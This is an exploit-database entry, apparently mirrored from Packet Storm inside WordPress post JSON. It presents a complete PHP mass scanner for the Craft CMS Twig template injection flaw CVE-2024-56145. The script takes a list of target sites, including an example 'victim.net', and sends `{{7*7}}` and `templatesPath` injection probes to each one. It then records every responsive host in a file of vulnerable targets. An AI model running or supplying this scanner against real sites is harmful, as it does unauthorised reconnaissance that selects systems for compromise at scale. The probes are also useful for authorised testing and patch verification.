{“lastseen”:”2025-12-16T18:54:56″,”description”:”This is a mass scanning script for the Craft CMS version 5.0 Twig template injection vulnerability…”,”published”:”2025-12-16T00:00:00″,”modified”:”2025-12-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Craft CMS 5.0 Twig Template Injection Scanner”,”source”:””,”references”:””,”id”:”PACKETSTORM:212864″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-56145″],”sourceData”:”=============================================================================================================================================\\n | # Title : Craft CMS 5.0 Twig Template Injection \u2013 Mass Scanner |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/craftcms.com |\\n =============================================================================================================================================\\n \\n POC : \\n \\n [+] Description : a Mass Scanner for detecting the Craft CMS Twig Template Injection vulnerability. \\n The scanner performs **NON-DESTRUCTIVE testing only**, without any RCE payloads. \\n \\n (Related : https:\/\/packetstorm.news\/files\/cve\/CVE-2024-56145 Related CVE numbers:\\tCVE-2024-56145 ) .\\n \\n [+] It detects vulnerable Craft CMS instances using:\\n \\n 1. **Twig mathematical evaluation** \\n \\n Payload: `{{7*7}}` \u2192 Expected value: `49`\\n \\n 2. **templatesPath injection via GET argument** \\n \\n Payload: `?–templatesPath=\/RANDOM_NONCE` \\n Expected behavior: Echo of the nonce inside the server error trace.\\n \\n [+] The scanner supports:\\n \\n \u2714 Large-scale mass scanning \\n \u2714 Output file generation \\n \u2714 Safe detection \\n \u2714 Linux \/ Windows \/ macOS support \\n \\n =============================================\\n # Proof-of-Concept (PHP Mass Scanner)\\n =============================================\\n \\n \\u003c?php\\n \/**\\n * Craft CMS Twig Injection \u2013 Mass Scanner \\n * Author : indoushka\\n *\/\\n \\n class CraftTwigMassScanner {\\n \\n private array $targets;\\n private string $outputFile;\\n \\n public function __construct(string $fileList, string $outputFile = \\”vulnerable.txt\\”) {\\n if (!file_exists($fileList)) {\\n die(\\”Targets file not found.\\\\n\\”);\\n }\\n \\n $this-\\u003etargets = array_filter(array_map(\\”trim\\”, file($fileList)));\\n $this-\\u003eoutputFile = $outputFile;\\n }\\n \\n private function banner() {\\n echo \\”=============================================\\\\n\\”;\\n echo \\” Craft CMS Twig Injection \u2013 Mass Scanner\\\\n\\”;\\n echo \\” PoC by indoushka\\\\n\\”;\\n echo \\”=============================================\\\\n\\\\n\\”;\\n }\\n \\n private function http_get(string $url): string|false {\\n return @file_get_contents($url, false, stream_context_create([\\n \\”http\\” =\\u003e [\\n \\”timeout\\” =\\u003e 5,\\n \\”user_agent\\” =\\u003e \\”Mozilla\/5.0\\”\\n ]\\n ]));\\n }\\n \\n private function test_injection(string $target): bool {\\n $probe = \\”{{7*7}}\\”;\\n $encoded = urlencode($probe);\\n \\n $url = rtrim($target, \\”\/\\”) . \\”\/?template=\\” . $encoded;\\n $response = $this-\\u003ehttp_get($url);\\n \\n return ($response \\u0026\\u0026 str_contains($response, \\”49\\”));\\n }\\n \\n private function test_template_path(string $target): bool {\\n $nonce = substr(md5(rand()), 0, 8);\\n \\n $url = rtrim($target, \\”\/\\”) . \\”\/?–templatesPath=\/\\” . $nonce;\\n $response = $this-\\u003ehttp_get($url);\\n \\n return ($response \\u0026\\u0026 str_contains($response, $nonce));\\n }\\n \\n private function save_vulnerable(string $target) {\\n file_put_contents($this-\\u003eoutputFile, $target . PHP_EOL, FILE_APPEND);\\n }\\n \\n public function scan() {\\n $this-\\u003ebanner();\\n \\n foreach ($this-\\u003etargets as $target) {\\n echo \\”[*] Checking: $target\\\\n\\”;\\n \\n $inj = $this-\\u003etest_injection($target);\\n $path = $this-\\u003etest_template_path($target);\\n \\n if ($inj || $path) {\\n echo \\”[+] Vulnerable: $target\\\\n\\”;\\n $this-\\u003esave_vulnerable($target);\\n } else {\\n echo \\”[-] Not vulnerable: $target\\\\n\\”;\\n }\\n \\n echo \\”———————————————\\\\n\\”;\\n }\\n \\n echo \\”\\\\nScan completed.\\\\n\\”;\\n echo \\”Results saved in: {$this-\\u003eoutputFile}\\\\n\\”;\\n }\\n }\\n \\n \/* CLI *\/\\n if (php_sapi_name() === \\”cli\\”) {\\n if (!isset($argv[1])) {\\n die(\\”Usage: php mass.php targets.txt\\\\n\\”);\\n }\\n \\n $scanner = new CraftTwigMassScanner($argv[1]);\\n $scanner-\\u003escan();\\n }\\n ?\\u003e\\n \\n ====================\\n [+] Usage\\n ====================\\n \\n php mass.php targets.txt\\n \\n Example targets.txt:\\n http:\/\/site1.com\\n https:\/\/example.org\\n http:\/\/victim.net\\n \\n Output file:\\n vulnerable.txt\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212864″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212864\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-16T18:54:56″,”description”:”This is a mass scanning script for the Craft CMS version 5.0 Twig template injection vulnerability…”,”published”:”2025-12-16T00:00:00″,”modified”:”2025-12-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Craft CMS 5.0 Twig Template Injection Scanner”,”source”:””,”references”:””,”id”:”PACKETSTORM:212864″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-56145″],”sourceData”:”=============================================================================================================================================\\n | #…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-31412","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n